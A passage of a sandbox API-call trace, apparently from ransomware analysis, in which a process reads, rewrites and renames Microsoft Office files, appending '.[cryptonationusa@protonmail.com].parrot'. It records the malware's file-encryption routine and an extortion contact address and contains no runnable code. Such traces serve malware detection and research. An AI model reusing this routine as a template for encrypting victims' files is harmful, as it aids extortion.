"c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.721] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.721] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.763] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.764] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27c, lpOverlapped=0x0) returned 1 [0173.764] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.770] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.770] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.771] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.771] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd0, lpOverlapped=0x0) returned 1 [0173.771] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.776] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.776] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.777] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.777] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0173.777] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.781] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.781] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.782] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.782] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0173.782] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.786] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.786] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.788] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.788] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9580, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9580, lpOverlapped=0x0) returned 1 [0173.793] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.949] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.949] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.951] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.951] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22180, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x22180, lpOverlapped=0x0) returned 1 [0173.956] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.961] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.970] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.970] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.971] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.971] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0173.972] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.979] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.979] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.980] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.980] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21788, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21788, lpOverlapped=0x0) returned 1 [0174.020] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.028] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.028] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.032] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.032] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5c00, lpOverlapped=0x0) returned 1 [0174.036] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.042] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.042] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.044] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.044] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e00, lpOverlapped=0x0) returned 1 [0174.044] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.050] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.050] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.090] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.090] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3000, lpOverlapped=0x0) returned 1 [0174.092] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.099] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.099] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.107] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.107] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2200, lpOverlapped=0x0) returned 1 [0174.108] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.114] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.114] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.115] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.116] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e00, lpOverlapped=0x0) returned 1 [0174.117] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.122] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.122] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.123] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.123] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3000, lpOverlapped=0x0) returned 1 [0174.124] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.130] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.130] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.131] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.131] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2200, lpOverlapped=0x0) returned 1 [0174.132] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.137] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.137] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.143] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.143] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f777, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f777, lpOverlapped=0x0) returned 1 [0174.153] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.217] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.219] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0174.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.249] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0174.252] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.252] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0174.254] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f3a90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0174.254] CloseHandle (hObject=0x27c) returned 1 [0174.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0174.273] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0174.273] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0174.275] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.276] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd64, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd64, lpOverlapped=0x0) returned 1 [0174.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 